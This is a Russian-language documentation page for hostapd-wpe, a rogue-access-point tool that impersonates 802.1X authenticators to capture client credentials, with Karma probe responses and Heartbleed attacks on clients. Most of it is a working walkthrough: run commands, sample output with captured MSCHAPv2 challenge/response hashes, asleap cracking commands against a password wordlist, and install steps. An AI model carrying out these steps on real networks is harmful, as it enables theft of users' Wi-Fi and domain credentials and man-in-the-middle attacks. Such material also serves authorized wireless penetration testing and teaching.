hostapd-wpe
Описание hostapd-wpe
hostapd-wpe — это замена для FreeRADIUS-WPE.
Она реализует IEEE 802.1x атаки выдачи себя за аутентификатора и сервера аутентификации (Authenticator and Authentication Server impersonation attacks) для получения учётных данных клиента, установки связи с клиентом, а также запуск других атак, где они применимы.
hostapd-wpe поддерживает следующие типы EAP для имперсонации (выдачи себя за другого, в данном случае за аутентификатора и серверы аутентификации):
- EAP-FAST/MSCHAPv2 (Phase 0)
- PEAP/MSCHAPv2
- EAP-TTLS/MSCHAPv2
- EAP-TTLS/MSCHAP
- EAP-TTLS/CHAP
- EAP-TTLS/PAP
После того, как имперсонация идёт полным ходом, hostapd-wpe будет возвращать сообщение EAP-Success, что должно убедить клиентов, что они подключились к их легитимному аутентификатору.
Для клиентов 802.11, hostapd-wpe также реализует безвозмездные зондовые ответы в стиле Karma.
hostapd-wpe также реализует атаки CVE-2014-0160 (Heartbleed) в отношении уязвимых клиентов.
hostapd-wpe записывает все данные в стандартный вывод (stdout) и hostapd-wpe.log
Домашняя страница: https://github.com/aircrack-ng/aircrack-ng/tree/master/patches/wpe/hostapd-wpe
Автор: Thomas d’Otreppe
Лицензия: BSD
Справка по hostapd-wpe
использование:
hostapd-wpe [-hdBKtvskc] [-P] [-e <файл энтропии>] \ [-g <глобальный контр_интерфейс>] [-G <группа>]\ [-i <разделённый запятой список имён интерфейсов>]\ <файл(ы) конфигурации>
опции: -h показать справку -d показывать больше отладочных сообщений (-dd чтобы ещё больше) -B запустить демон в фоне -e файл энтропии -g путь до глобального контрольного интерфейса -G группа для контрольных интерфейсов -P PID файл -K включить данные ключа в отладочных сообщениях -i список имён интерфейсов для использования -S синхронно запустить все интерфейсы -t включить временные метки в некоторые отладочные сообщения -v показать версию hostapd Опции WPE ------------------- (запись учётных данных всегда включён) -s Возвращать Success (успех) где возможно -k Режим Карма (Karma) (Отвечать на все зонды) -c Режим Купидон (Cupid) (Атака Heartbleed на клиентов)
Руководство по hostapd-wpe
Страница man отсутствует.
Быстрый запуск
После применения патча hostapd-wpe.patch, будет создан hostapd-wpe.conf в /path/to/build/hostapd/hostapd-wpe.conf. Смотрите этот файл для получения дополнительной информации. Обратите внимание, что также будет создан /path/to/build/hostapd/hostapd-wpe.eap_users, hostapd-wpe зависит от него.
Базовое использование:
hostapd-wpe hostapd-wpe.conf
Учётные данные будут отображаться на экране и сохраняться в hostapd-wpe.log
Дополнительные WPE опции командной строки:
-s Возвращает сообщения EAP-Success после сбора учётных данных -k Беспричинные зондирующие ответы (Режим Карма) -c Пытаться эксплуатировать CVE-2014-0160 (Режим купидон)
Запуск
После установки вы можете запустить hostapd. Этот патч создаст новый hostapd-wpe.conf, который вам, вероятно, потребуется изменить, чтобы заставить его работать для вашей атаки. Когда готово, просто запустите
hostapd /etc/hostapd-wpe/hostapd-wpe.conf
Смотрите в выводе имя-пользователя/вызов/ответ. Они будут там и в файле hostapd-wpe.log в директории, где вы запустили hostapd. Например, здесь учётный данные EAP-FAST Phase 0 из stdout:
username: jdslfkjs challenge: bc:87:6c:48:37:d3:92:6e response: 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0
и, как всегда, мы скармливаем их asleap для взлома:
asleap -C bc:87:6c:48:37:d3:92:6e -R 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0 -W wordlist asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com> hash bytes: b1ca NT hash: e614b958df9df49ec094b8730f0bb1ca password: bradtest
В качестве альтернативы, учётные данные MSCHAPv2 выводятся в формате john the rippers NETNTLM.
Решение проблем
OpenSSL: tls_global_ca_cert - Failed to load root certificates error:02001002:system library:fopen:No such file or directory
Сертификаты не созданы. Следуйте описанной ниже процедуре по их созданию.
nl80211 driver initialization failed.
Одной из возможных причин является то, что другой процесс использует этот интерфейс. Запуск
sudo airmon-ng check kill
исправляет эту ошибку (программа закроет любой сетевой менеджер и сетевые соединения).
EAP-Success
Определённые типы EAP не требуют самого сервера аутентификации, им достаточно проверки отправленных клиентом учётных данных. Поскольку мы играемся с сервером аутентификации, это означает, что мы с лёгкостью просто отправляем клиенту сообщения EAP-Success независимо от того, что они нам отправили. Клиент доволен, поскольку он подключён, но, к сожалению для них, не знают, что они подключены к не одобренному аутентификатору.
С этого места атакующий может поднять dhcp сервер и дать клиенту IP адрес, а затем делать всё что угодно (перенаправлять DNS, запускать, атаки, MiTM и т. д.).
MSCHAPv2 защищает простив этого, он требует от сервера доказать знание пароля, большинство просителей придерживаются этой политики, но на всякий случай мы всё равно возвращаем EAP-Success.
Зонды в стиле Карма
Эта функция просто ждёт клиента, отправляющего направленный зонд, когда он это делает, она предполагает, что SSID и отвечает клиенту. Только для клиентов 802.11.
Замечания по MSCHAPv2
Microsoft предлагает что-то под названием "Computer Based Authentication". Когда компьютер присоединяется к домену, ему назначается пароль. Этот пароль сохраняется в системе и в active directory. Мы можем собрать MSCHAPv2 ответ с этих систем, но понадобиться вся жизнь, чтобы его взломать. Конечно если нужен не просто хеш, а действительный пароль 🙂
Ещё одна вещь, которую стоит упомянуть, если клиент возвращает все нули, он не присоединился к домену.
Тестирование Heartbleed
Если вы работаете на Ubuntu и хотите протестировать Heartbleed вам понадобиться откатиться до уязвимой версии OpenSSL. Это может быть сделано следующим образом:
wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/openssl_1.0.1-4ubuntu5.11_i386.deb wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/libssl-dev_1.0.1-4ubuntu5.11_i386.deb wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/libssl-doc_1.0.1-4ubuntu5.11_all.deb wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/libssl1.0.0_1.0.1-4ubuntu5.11_i386.deb sudo dpkg -i libssl1.0.0_1.0.1-4ubuntu5.11_i386.deb sudo dpkg --install libssl1.0.0_1.0.1-4ubuntu5.11_i386.deb \ libssl-dev_1.0.1-4ubuntu5.11_i386.deb \ libssl-doc_1.0.1-4ubuntu5.11_all.deb \ openssl_1.0.1-4ubuntu5.11_i386.deb
Затем используйте wpa_supplicant для подключения к hostapd-wpe -c
Примеры запуска hostapd-wpe
Настройте свойства ТД отредактировав /etc/hostapd-wpe/hostapd-wpe.conf
sudo nano /etc/hostapd-wpe/hostapd-wpe.conf
Убейте network-manager используя airmon-ng
sudo airmon-ng check kill
Запустите hostapd-wpe. Появиться беспроводная ТД. Пароли подключающихся и аутентифицирующихся на этой сети пользователей будут напечатаны в консоли.
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf Configuration file: /etc/hostapd-wpe/hostapd-wpe.conf Using interface wlan0 with hwaddr c4:e9:84:17:ff:c8 and ssid "hostapd-wpe" wlan0: interface state UNINITIALIZED>ENABLED wlan0: AP-ENABLED wlan0: STA ac:fd:ec:78:72:bd IEEE 802.11: authenticated wlan0: STA ac:fd:ec:78:72:bd IEEE 802.11: associated (aid 1) wlan0: CTRL-EVENT-EAP-STARTED ac:fd:ec:78:72:bd wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1 wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25 mschapv2: Sat Nov 12 16:04:03 2016 username: me challenge: 8e:0e:9d:0b:5a:3f:f5:23 response: 34:f8:42:4d:16:c7:2d:69:cc:38:10:d4:cf:71:f7:83:37:68:d8:8a:e9:86:f2:67 jtr NETNTLM: me:$NETNTLM$8e0e9d0b5a3ff523$34f8424d16c72d69cc3810d4cf71f7833768d88ae986f267 wlan0: CTRL-EVENT-EAP-FAILURE ac:fd:ec:78:72:bd wlan0: STA ac:fd:ec:78:72:bd IEEE 802.1X: authentication failed - EAP type: 0 (unknown) wlan0: STA ac:fd:ec:78:72:bd IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP) wlan0: STA ac:fd:ec:78:72:bd IEEE 802.11: disassociated wlan0: STA ac:fd:ec:78:72:bd IEEE 802.11: deauthenticated due to local deauth request wlan0: AP-DISABLED nl80211: deinit ifname=wlan0 disabled_11b_rates=0 root@kali:~#
Как только вызов и ответ получены, взломайте их используя asleap вместе с файлом словарём паролей.
sudo zcat /usr/share/wordlists/rockyou.txt.gz | asleap -C 8e:0e:9d:0b:5a:3f:f5:23 -R 34:f8:42:4d:16:c7:2d:69:cc:38:10:d4:cf:71:f7:83:37:68:d8:8a:e9:86:f2:67 -W - asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com> Using STDIN for words. hash bytes: 586c NT hash: 8846f7eaee8fb117ad06bdd830b7586c password: password
Установка hostapd-wpe
Установка в Kali Linux
sudo apt update sudo apt install hostapd-wpe
Установка в BlackArch
Программа предустановлена в BlackArch.
sudo pacman -S hostapd-wpe
Установка в Debian, Ubuntu, Linux Mint и другие дистрибутивы на основе Debian
Установка зависимостей:
sudo apt-get install libssl-dev libnl-genl-3-dev libnl-3-dev pkg-config libsqlite3-dev
Основная часть установки:
wget https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/hostapd-wpe/hostapd-wpe.patch wget http://hostap.epitest.fi/releases/hostapd-2.7.tar.gz tar -zxf hostapd-2.7.tar.gz cd hostapd-2.7 patch -p1 < ../hostapd-wpe.patch cd hostapd
Далее:
make sudo make install sudo make wpe
Создание сертификатов
cd /etc/hostapd-wpe/certs sudo ./bootstrap sudo make install
Информация об установке в другие операционные системы будет добавлена позже.
Comments are Closed